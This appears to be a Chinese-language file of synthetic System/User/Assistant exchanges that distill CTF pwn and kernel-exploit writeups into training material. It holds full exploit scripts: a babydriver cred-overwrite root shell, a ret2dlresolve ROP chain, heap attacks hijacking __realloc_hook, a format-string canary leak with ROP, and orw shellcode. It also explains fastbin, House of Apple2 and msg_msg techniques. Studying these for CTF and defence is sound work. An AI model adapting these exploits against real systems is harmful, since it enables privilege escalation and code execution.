        if (strstr(temp, "[FLAG_PREFIX]"))
            status = 0;
    }

    pthread_cancel(compete_thread);

    printf("[+] competetion end!\n");
    system("dmesg | grep flag");

    return 0;
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「参考」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 参考

> [RCTF 2019 pwn | X3h1n](https://x3h1n.github.io/2019/05/26/RCTF-2019-babyheap/)
[[原创]Pwn堆利用学习——Off-By-One——Asis_2016_b00ks-Pwn-看雪-安全社区|安全招聘|kanxue.com](https://bbs.kanxue.com/thread-263680.htm#msg_header_h3_3)
[[原创]Pwn堆利用学习——Fastbin-Arbitrary Alloc——0ctf2017-babyheap-Pwn-看雪-安全社区|安全招聘|kanxue.com](https://bbs.kanxue.com/thread-268200.htm)


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Kernel/ciscn2017-babydriver/exp_cred.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Kernel/ciscn2017-babydriver/exp_cred.c`

分类：kernel

语言：c

环境/依赖线索：
- `#include <stdio.h>`
- `#include <stdlib.h>`
- `#include <unistd.h>`
- `#include <sys/types.h>`
- `#include <sys/stat.h>`
- `#include <sys/ioctl.h>`
- `#include <fcntl.h>`
- `#include <sys/wait.h>`
- `#include <string.h>`

函数/封装：
- `main`

利用主题关键词：
- seccomp/orw
- kernel

关键常量/偏移样例：
`0x10001`

训练用代码片段：
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <string.h>

char buf[0x40]={0};

int main()
{
    //open两次设备
    int fd1 = open("/dev/babydev",2);
    int fd2 = open("/dev/babydev",2);

    ioctl(fd1,0x10001,0xa8);    //cred结构体大小

    close(fd1);

    int pid = fork();

    if(pid<0){
        printf("fork error\n");
    }else if(pid==0){           //判断是否为子进程
        write(fd2,buf,32);      //覆盖cred结构体
        if(getuid()==0){
            printf("Hacked\n");
            system("/bin/sh\n");
            return 0;
        }
    }else{
        //等待子进程结束
        wait(NULL);
    }

    close(fd2);

    return 0;
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Seccomp绕过/seccomp.c` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Seccomp绕过/seccomp.c`

分类：seccomp

语言：c

环境/依赖线索：
- `#include <unistd.h>`
- `#include <seccomp.h>`

函数/封装：
- `main`

利用主题关键词：
- seccomp/orw

训练用代码片段：
```c
#include <unistd.h>
#include <seccomp.h>

int main(int argc, char *argv[])
{
  scmp_filter_ctx ctx;
  ctx=seccomp_init(SCMP_ACT_ALLOW);

  seccomp_arch_add(ctx,SCMP_ARCH_X86_64);
  seccomp_rule_add(ctx,SCMP_ACT_KILL,SCMP_SYS(execve),0);
  seccomp_load(ctx);

  char *args={"/bin/sh","-i",NULL};
  execve(args[0],args,NULL);

  return 0;
}
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「Exploit」。
资料来源：Heap/2024ylb-ezheap/writeup.md；主题：2024ylb-ezheap；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## Exploit

本地运行时不要用环境变量 `LD_PRELOAD=./libc-2.31.so`，否则 `system('/bin/sh')` 生成的 shell 会继承旧 libc，可能启动失败。这里使用 `ld.so --preload`，只影响目标进程本身。

```python
#!/usr/bin/env python3
from pwn import *
import os

elf = ELF('./pwn')
libc = ELF('./libc-2.31.so')
context(os=elf.os, arch=elf.arch, log_level='info')

ld_path = '/tools/binary/glibc-all-in-one/libs/2.31/64/ld-2.31.so'

def start():
    if args.REMOTE:
        host = args.HOST or 'TARGET_IP'
        port = int(args.PORT or 9999)
        return remote(host, port)
    # Do not use env={"LD_PRELOAD": ...}: system('/bin/sh') would inherit it,
    # and the spawned host shell can fail with the old challenge libc.
    # ld.so --preload affects only this exec, so the final shell is clean.
    if os.path.exists(ld_path):
        return process([ld_path, '--preload', './libc-2.31.so', elf.path])
    return process([elf.path], env={'LD_PRELOAD': './libc-2.31.so'})

io = start()

menu = b'Input your choice'

def add(size, content):
    io.sendlineafter(menu, b'1')
    io.sendlineafter(b'Size :', str(size).encode())
    io.sendafter(b'Content :', content)

def delete(idx):
    io.sendlineafter(menu, b'2')
    io.sendlineafter(b'Index :', str(idx).encode())

def edit(content):
    io.sendlineafter(menu, b'3')
    io.sendafter(b'content :', content)

def show(idx):
    io.sendlineafter(menu, b'4')
    io.sendlineafter(b'Index :', str(idx).encode())


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Stack/ret2dlresolve/dl_resolve_64/64位/stage6_original.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Stack/ret2dlresolve/dl_resolve_64/64位/stage6_original.py`

分类：stack

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `makecall`

利用主题关键词：
- seccomp/orw
- stack/rop

关键常量/偏移样例：
`0x100`, `0x1c8`, `0x800`, `0x4002c0`, `0x400398`, `0x400470`, `0x400510`, `0x4005e0`, `0x400676`, `0x4006ab`, `0x400790`, `0x4007AA`, `0x4007b3`, `0x601008`

训练用代码片段：
```python
#!/usr/bin/python
#coding:utf-8
from pwn import *

#需修改:文件名、溢出偏移、gadget地址、各节地址
fpath = './bof'
offset = 112
length = 0x100
stack_size = 0x800
main_addr=0x400676
p6_addr=0x4007AA
call_addr=0x400790
leave_ret=0x4006ab
p_rbp_ret=0x4005e0
p_rdi_ret=0x4007b3

elf = ELF(fpath)
write_got=elf.got['write']
read_got=elf.got['read']
read_plt = elf.plt['read']
write_plt = elf.plt['write']
got_8=elf.get_section_by_name('.got.plt').header.sh_addr+8   #0x601008
bss_addr =elf.get_section_by_name('.bss').header.sh_addr
base_stage = bss_addr + stack_size
#print 'got_8=',hex(got_8)

def makecall(addr, rdi, rsi, rdx, tail = 0):
    payload = ''
    payload += p64(p6_addr)
    payload += p64(0x0)
    payload += p64(0x1)
    payload += p64(addr)
    payload += p64(rdx)
    payload += p64(rsi)
    payload += p64(rdi)
    payload += p64(call_addr)
    if (tail):
        payload += p64(0x0) * 7 + p64(tail)
    return payload

p = process(fpath)
print p.recv()        # 'Welcome to XDCTF2015~!\n'
#1.泄露&link_map地址
payload='\x00'*offset
payload+='\x00'*8
payload+=makecall(write_got,1,got_8,8,tail=main_addr)
payload=payload.ljust(0x100,'\x00')
p.send(payload)
link_map = u64(p.recv(8))
print 'link_map=',hex(link_map)

#2.往link_map+0x1c8写0
payload='\x00'*offset
payload+='\x00'*8
payload+=makecall(read_got,0,link_map+0x1c8,8,tail=main_addr)
payload=payload.ljust(0x100,'\x00')
p.send(payload)
p.send(p64(0))

#3.往base_stage写入伪造结构并跳过去
payload='\x00'*offset
payload+='\x00'*8
payload+=makecall(read_got,0,base_stage,0xd0,tail=0)   #假设结构大小是400
payload+=p64(0)*2+p64(base_stage)+p64(0)*4
payload+=p64(leave_ret)
payload=payload.ljust(0x100,'\x00')
p.send(payload)

#4.bss数据：rop-参数放在寄存器/ 伪造结构
#(1)确定各个节的地址
cmd = "/bin/sh"
plt_0 = 0x400510 # objdump -d -j .plt bof
rel_plt = 0x400470 # objdump -s -j .rela.plt bof
write_got = elf.got['write']
dynsym = 0x4002c0 #readelf -S bof
dynstr = 0x400398
#(2)确定重定位下标
index_offset = base_stage + 7*8
align = 24 - ((index_offset-rel_plt) % 24)  # 这里的对齐操作是因为dynsym里的ELF64_R_SYM结构体都是24字节大小
index_offset = index_offset + align
index = (index_offset - rel_plt) / 24 # base_stage + 7*8 指向fake_reloc，减去rel_plt即偏移
#(3)确定动态链接符号下标
fake_sym_addr = base_stage + 13*8
align = 24 - ((fake_sym_addr - dynsym) % 24)# 这里的对齐操作是因为dynsym里的Elf64_Sym结构体都是24字节大小
fake_sym_addr = fake_sym_addr + align
index_dynsym = (fake_sym_addr - dynsym) / 24 # 除以24因为Elf64_Sym结构体的大小为24，得到write的dynsym索引号
#(4)伪造重定位结构+动态链接结构
r_info = (index_dynsym << 32) | 0x7
fake_reloc = p64(write_got) + p64(r_info) + p64(0)
st_name = (fake_sym_addr + 24) - dynstr   #fake_sym（Elf32_Sym结构体）大小0x10
fake_sym = p32(st_name) + p32(0x12) + p64(0) + p64(0)

payload2 = 'AAAAAAAA'
payload2 += p64(p_rdi_ret)
payload2 += p64(base_stage+0xc0)   #/bin/sh
payload2 += p64(plt_0)
payload2 += p64(index)       #jmprel 下标参数
payload2 += 'AAAAAAAA'       #返回地址
payload2 += 'aaaaaaaa'

payload2 = payload2.ljust(index_offset-base_stage,'B')
payload2 += fake_reloc # index_offset(base_stage+7*8)的位置
payload2 = payload2.ljust(fake_sym_addr-base_stage,'B')
payload2 += fake_sym   # fake_sym_addr(base_stage+9*8)的位置

payload2 += "system\x00"
payload2 = payload2.ljust(0xc0,'\x00')
payload2 += cmd + '\x00'
payload2 = payload2.ljust(0xd0,'\x00')
#gdb.attach(p,'b *0x4006ab')
#raw_input('wait!!\n')
p.send(payload2)
p.interactive()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Seccomp绕过/2024ylb-orw/exp_cli.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Seccomp绕过/2024ylb-orw/exp_cli.py`

分类：seccomp

语言：python

环境/依赖线索：
- `from pwncli import *`

利用主题关键词：
- io-file/fsop
- seccomp/orw

关键常量/偏移样例：
`0x100`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

shellcode=asm(shellcraft.openat(0,'/flag')+shellcraft.sendfile(1,3,0,0x100))
print(len(shellcode))
payload=shellcode
r()
sl(payload)

ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「漏洞点」。
资料来源：Heap/off-by-one/2024ylb-null/WP.md；主题：2024ylb-null Writeup；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 漏洞点

漏洞在 `vuln()` 的按字节读取逻辑。伪代码如下：

```c
void vuln(char *buf, int size) {
    char *p = buf;
    int i = 0;

    while (read(0, p, 1) == 1) {
        if (*p == '\n')
            break;
        p++;
        if (i == size)
            break;
        i++;
    }
    *p = '\0';
}
```

如果申请大小为 `0x68`，向 `edit()` 发送正好 `0x68` 字节数据后，`sendline()` 附加的换行会被读到 `buf + 0x68`，随后写入 `\x00`。这相当于对下一个 chunk header 的最低字节做 off-by-null。

本题的利用核心是：在 0x70 大小 chunk 后方放置 0x100 大小 chunk，通过 off-by-null 清掉后方 chunk 的 `PREV_INUSE` 位，并伪造 `prev_size`，触发向后合并，制造 overlapping chunk。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/pwn_utils.h` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Kernel/CVE-2026-53362_lts/exploit/lts-6.12.85/libxdk-v0.1/xdk/util/pwn_utils.h`

分类：kernel

语言：c

环境/依赖线索：
- `#include <stdint.h>`

利用主题关键词：
- io-file/fsop

训练用代码片段：
```c
/*
 * Copyright 2025 Google LLC
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#pragma once

#include <stdint.h>

/**
 * @defgroup util_classes Utility Classes
 * @brief Helper classes for various utilities.
 */

/**
 * @ingroup util_classes
 * @brief Checks if the provided address is a valid KASLR base address.
 *
 * @param kbase_addr The address to check.
 * @return True if the address is a valid KASLR base, false otherwise.
 */
bool is_kaslr_base(uint64_t kbase_addr);

/**
 * @ingroup util_classes
 * @brief Checks if the provided address is a valid KASLR base address.
 *
 * @param kbase_addr The address to check.
 * @return The checked KASLR base address if valid.
 */
uint64_t check_kaslr_base(uint64_t kbase_addr);

/**
 * @ingroup util_classes
 * @brief Checks if the provided address is a valid kernel heap pointer.
 *
 * @param heap_leak The address to check.
 * @return The checked kernel heap pointer if valid.
 */
uint64_t check_heap_ptr(uint64_t heap_leak);
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「2. 漏洞 primitive」。
资料来源：Kernel/2026d3ctf-d3kheap2pro/ROOT_ANALYSIS.md；主题：d3kheap2pro root 提权可行性分析；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 2. 漏洞 primitive

```text
alloc(0)  -> refcnt = 2, ptr = object A
free(0)   -> refcnt = 1, object A freed, ptr still A
free(0)   -> refcnt = 0, object A freed again
```

模块没有对象内容读写接口，因此 primitive 起点是 double-free / dangling-slot，而不是直接 UAF read/write。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `Heap/unsortedbin attack/zerostorage/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`Heap/unsortedbin attack/zerostorage/exp.py`

分类：heap

语言：python

环境/依赖线索：
- `from pwn import *`

函数/封装：
- `dbg`
- `delete`
- `insert`
- `merge`
- `update`

利用主题关键词：
- heap/tcache
- seccomp/orw

关键常量/偏移样例：
`0x203060`, `0x3a1678`, `0x5ca000`, `0x555555757060`, `0x7ffff7a76560`, `0x7ffff7dd6608`, `0x7ffff7dd6678`, `0x7ffff7dd8860`

训练用代码片段：
```python
#!/usr/bin/env python3
from pwn import *

def dbg(c=0):
    if c:
        gdb.attach(io, c)
    else:
        gdb.attach(io)
        pause()

s = lambda data: io.send(data)
sa = lambda text, data: io.sendafter(text, data)
sl = lambda data: io.sendline(data)
sla = lambda text, data: io.sendlineafter(text, data)
r = lambda num=4096: io.recv(num)
ru = lambda text: io.recvuntil(text)
pr = lambda num=4096: print(io.recv(num))
ia = lambda: io.interactive()
ic = lambda: io.close()
l32 = lambda: u32(io.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(io.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(io.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: io.success('%s -> 0x%x' % (s, num))

elf = ELF('./zerostorage')
libc = ELF('./libc.so.6')
p = process([elf.path])
context(os=elf.os, arch=elf.arch, log_level='debug')
context.terminal = ['cmd.exe', '/c', 'start', '""', 'wt.exe', 'wsl', '-e', 'bash', '-lc']

def insert(length, data=''):
    data = data.ljust(length, 'A')
    p.recvuntil('Your choice: ')
    p.sendline('1')
    p.sendline(str(length))
    p.send(data)

def update(idx, length, data=''):
    data = data.ljust(length, 'B')
    p.recvuntil('Your choice: ')
    p.sendline('2')
    p.sendline(str(idx))
    p.sendline(str(length))
    p.send(data)

def merge(fro, to):
    p.recvuntil('Your choice: ')
    p.sendline('3')
    p.sendline(str(fro))
    p.sendline(str(to))

def delete(idx):
    p.recvuntil('Your choice: ')
    p.sendline('4')
    p.sendline(str(idx))

libc_max_fast = 0x7ffff7dd8860
libc_unsorted_bin = 0x7ffff7dd6678
libc_reallochook = 0x7ffff7dd6608
libc_system = 0x7ffff7a76560
zero_entry_head = 0x555555757060
unsorted_bin_offset = 0x3a1678
module_offset = 0x5ca000
head_offset = 0x203060

insert(8)                   # 0
insert(8, '/bin/sh;')       # 0, 1
insert(8)                   # 0, 1, 2
insert(8)                   # 0, 1, 2, 3
insert(8)                   # 0, 1, 2, 3, 4
insert(0x90)                # 0, 1, 2, 3, 4, 5
delete(0)                   # 1, 2, 3, 4, 5
merge(2,2)                  # 0, 1, 3, 4, 5

p.sendline('5')
p.sendline('0')
p.recvuntil('Entry No.0:\n')
heap = u64(p.recv(8))
unsorted_bin = u64(p.recv(8))
libc = unsorted_bin - libc_unsorted_bin
max_fast = libc + libc_max_fast
system = libc + libc_system
reallochook = libc + libc_reallochook
entry_head = unsorted_bin - unsorted_bin_offset + module_offset + head_offset

insert(8)      # 0, 1, 2, 3, 4, 5

# overwrite global_max_fast
update(0, 16, b'C'*8 + p64(max_fast - 0x10))
insert(8)      # 0, 1, 2, 3, 4, 5, 6

# free, put into "fast bin"
merge(3,3)     # 0, 1, 2, 4, 5, 6, 7
# overwrite fd to bss
update(7, 16, p64(entry_head + 24 * 5))

# get the fake chunk
insert(8)      # 0, 1, 2, 3, 4, 5, 6, 7

# get chunk again, pivot into bss
# no.8 will point to no.5's data, we should overlap into no.8 itself to get the key
insert(80)     # 0, 1, 2, 3, 4, 5, 6, 7, 8

# leak the key
p.sendline('5')
p.sendline('8')
p.recvuntil('Entry No.8:\n')
chunk8 = p.recv(80)
key = u64(chunk8[-8:]) ^ (entry_head + 24 * 5 + 16)
p.success('[+] Got key: %#x' % key)

# overwrite no.6 to realloc_hook
update(8, 80, p64(0) + p64(1) + p64(8) + p64(reallochook ^ key))

# edit no.6
update(6, 8, p64(system))

# realloc no.1, get shell
update(1, 130)

p.sendline('')
ia()
```


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User] 解释 `其它漏洞/格式化字符串/栈数据泄露/[安洵杯 2021]stack/exp.py` 这个 CTF pwn/kernel exploit 代码示例的结构。请指出运行环境、交互封装、泄漏/写入/触发阶段、关键常量，以及代码适合训练模型学习的模式。

[Assistant]
文件：`其它漏洞/格式化字符串/栈数据泄露/[安洵杯 2021]stack/exp.py`

分类：misc_vuln

语言：python

环境/依赖线索：
- `from pwncli import *`
- `from LibcSearcher import *`

利用主题关键词：
- stack/rop

关键常量/偏移样例：
`0xb24`, `0x00000000000007c1`, `0x0000000000000b03`

训练用代码片段：
```python
#!/usr/bin/python3
from pwncli import *
from LibcSearcher import *

cli_script()
io=gift["io"]
elf=gift["elf"]

pay="%11$p-%17$p"
sl(pay)

canary=int(r(18),16)
success(hex(canary))
ru(b'-')
base=int(r(14),16)-elf.sym.main
success(hex(base))

rdi=0x0000000000000b03+base
ret=0x00000000000007c1+base
sh=0xb24+base

off=0x18
sys=elf.sym.system+base

payload=b'a'*off+p64(canary)+p64(123)+p64(rdi)+p64(sh)+p64(ret)+p64(sys)
sla("--+--\n",payload)

ia()
```

其它漏洞/格式化字符串/栈数据泄露/[安洵杯 2021]stack/exp.py


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「题目信息」。
资料来源：IO-FILE/house of apple2/2024pcb babyheap/WP.md；主题：2024PCB babyheap WP；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## 题目信息

```text
Arch:   amd64
RELRO:  Full RELRO
Canary: Yes
NX:     Yes
PIE:    Yes
Libc:   glibc 2.35 / Ubuntu 22.04
```

程序是一个很常规的堆菜单题：

```text
1.add
2.dele
3.show
4.edit
```

全局区里有一个 `book` 数组，每个元素 0x10 字节：

```c
struct item {
    char *ptr;
    size_t size;
};

item book[0x15];
```

关键全局地址关系如下：

```text
func_list        0x4020
stdout           0x4040   // R_X86_64_COPY，内容为 _IO_2_1_stdout_ 指针
stdin            0x4050
stderr           0x4060
libc_start       0x4080
libc_end         0x4088
book             0x40a0
qword_41E0       0x41e0   // edit 使用次数，初始为 1
```

`book - stdout = 0x60`，刚好等于 6 个 `item`，这是本题走 House of Apple2 的核心。

IO-FILE/house of apple2/2024pcb babyheap/WP.md


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「Fastbin Attack」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
## Fastbin Attack

fastbin attack是一类漏洞的利用方法，是指所有基于 fastbin 机制的漏洞利用方法。它是一种经典的堆利用技术，尤其适用于`glibc`版本在 2.27 及之前（或禁用了 tcache）的情况下。

在 64 位程序当中 fastbin 的范围为`0x20 ~ 0x80`（不含 0x80），32 位为`0x10 ~ 0x40`（不包含 `0x40`）

ptmalloc 中专门设计了 fastbin，对应的变量就是 malloc state 中的 fastbinsY

这类利用的前提是：

+ 存在堆溢出、UAF 等能控制`chunk`内容的漏洞
+ 漏洞发生于 fastbin 类型的`chunk`中

细分可以做如下的分类

+ fastbin double free
+ house of Spirit
+ Arbitrary Alloc

其中，前两种主要漏洞侧重于利用`free`函数释放真的`chunk`或伪造的`chunk`，然后再次申请`chunk`进行攻击，后一侧重于故意修改`fd`指针，直接利用`malloc`申请指定位置`chunk`进行攻击。

fastbin_attack 存在的原因在于 fastbin 是使用单链表来维护释放的堆块的，并且由 fastbin 管理的 chunk 即使被释放，其`next_size`的`prev_inuse`位也不会被清空。

其`prev_inuse`位不会被清空也就意味着一般情况下 fastbin 不会进行 unlink 合并。

劫持 fastbin 链表中`chunk`的`fd`指针，把`fd`指针指向我们想要分配的地址处，从而实现控制一些关键数据，比如返回地址等。

`fd`指向的内存能申请出来的前提是该内存对应`size`处的值与该 fast bin 对应`size`相同。

```c
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

/* Get size, ignoring use bits */
#define chunksize(p) ((p)->size & ~(SIZE_BITS))

/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
idx = fastbin_index(nb);
...

/* Get size, ignoring use bits */
#define chunksize(p) ((p)->size & ~(SIZE_BITS))
if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0)) {
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr(check_action, errstr, chunk2mem(victim), av);
return NULL;
}
```

由于这里的`size`不考虑低 3 位，并且 libc 或栈地址多数是 0x7f 开头，因此可以通过截取 0x7f 然后用 0x70 的 fastbin 将该内存申请出来。

例如修改 fd 指针指向 `__realloc_hook` 前合适的偏移通常是 `__malloc_hook` 往前 0x23 的偏移），两次 `malloc(0x60)` 申请出该地址的 fake chunk 实现对 `__realloc_hook` 和 `__malloc_hook` 的控制。

由于 one_gadget 可能因栈结构不满足条件而失效，可以通过修改 `__malloc_hook` 为 `realloc+偏移` ，修改 `__realloc_hook` 为 `one_gadget` 改变栈结构来获取 `shell` 。

[图片: image]

除了 realloc + 偏移外，还可以通过触发 malloc 报错执行 malloc 来改变栈结构。

通过 free chunk 两次来触发报错指向 malloc 改变栈结构


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「5. 覆盖 `_IO_file_jumps + 0x18` 为 one_gadget」。
资料来源：IO-FILE/[CISCN 2022 华东北]duck/WP.md；主题：[CISCN 2022 华东北] duck - Pwn Writeup；分类：io_file。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
### 5. 覆盖 `_IO_file_jumps + 0x18` 为 one_gadget

exp 选择 one_gadget：

```python
one_gadget = libc_base + 0xda864
```

`one_gadget` 约束为：

```text
0xda864 execve("/bin/sh", r13, rdx)
constraints:
  [r13] == NULL || r13 == NULL || r13 is a valid argv
  [rdx] == NULL || rdx == NULL || rdx is a valid envp
```

覆盖内容：

```python
edit(11, 64, p64(0) * 3 + p64(one_gadget))
```

`p64(0) * 3` 让写入位置到 `_IO_file_jumps + 0x18`，也就是 FILE jump table 里的 `_IO_overflow` 槽位附近。

题目把 stdout 设置为无缓冲：

```c
setvbuf(stdout, 0, 2, 0);
```

所以程序后续执行 `puts("Done")` 时，stdout 输出换行等流程会走到 vtable 的 overflow 分发。此时 `_IO_file_jumps + 0x18` 已经被改成 one_gadget，于是控制流跳到 one_gadget，执行 `execve("/bin/sh", ...)`。

---


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「msgsnd发送数据调用链及方法」。
资料来源：Kernel/readme.md；主题：利用msg_msg实现任意地址读写；分类：kernel。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
#### msgsnd发送数据调用链及方法

调用链：通过`msgsnd() -> ksys_msgsnd() -> do_msgsnd() -> load_msg() -> alloc_msg()`来分配消息头和消息的数据，接着通过`load_msg() -> copy_from_user()`来将用户数据拷贝进内核。

使用方法：例如我们想要发送一个包含`0x1000个'A'`的消息，代码如下：

```csharp
struct msgbuf
{
    long mtype;
    char mtext[0x1000];
} msg;

msg.mtype = 1;
memset(msg.mtext, 'A', sizeof(msg.mtext));

qid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT));
msgsnd(qid, &msg, sizeof(msg.mtext), 0);
```

此外如果消息长度超过`0xfd0`，那么就会采取分段储存的方式，采用单向链表进行连接。第一个称作消息头，用`msg_msg`结构进行储存，第二个和第三个称作`segment`，用`msg_msgseg`结构进行储存。消息的最大长度由`/proc/sys/kernel/msgmax`确定，默认大小为`8192`个字节，所以最多连接三个成员。


[System] 你是 CTF pwn、Linux kernel exploit 与二进制安全训练数据蒸馏助手。回答必须基于给定本地材料，保留关键路径、函数名、偏移、保护信息、利用原语和验证状态；不要编造材料中没有出现的事实。

[User]
请讲解 CTF pwn/二进制安全知识点「原理」。
资料来源：Heap/heap exploit.md；主题：define TCACHE_MAX_BINS                64；分类：heap。
要求：结构化说明概念、利用条件、关键结构/函数、常见坑点，并保留材料中的代码块或命令。

[Assistant]
##### 原理

该技术的核心在于在目标位置处伪造 fastbin chunk，并将其释放到对应的fastbin链表中，从而达到分配指定地址的 chunk 的目的。

要想伪造 fastbin fake chunk，并且将其释放时，可以将其放入到对应的 fastbin 链表中，需要绕过一些必要的检测，即：

+ fake chunk 的 ISMMAP 位不能为 1，因为 free 时，如果是 mmap 的 chunk，会单独处理。
+ fake chunk 地址需要对齐， MALLOC_ALIGN_MASK
+ fake chunk 的 size 大小需要满足对应的 fastbin 的需求，同时也得对齐。
+ fake chunk 的 next chunk 的大小不能小于 2 * SIZE_SZ，同时也不能大于av->system_mem 。
+ fake chunk 对应的 fastbin 链表头部不能是该 fake chunk，即不能构成 double free 的情况。

想要使用该技术分配 chunk 到指定地址，其实并不需要修改指定地址的任何内容，关键是要能够修改指定地址的前后的内容使其可以绕过对应的检测。

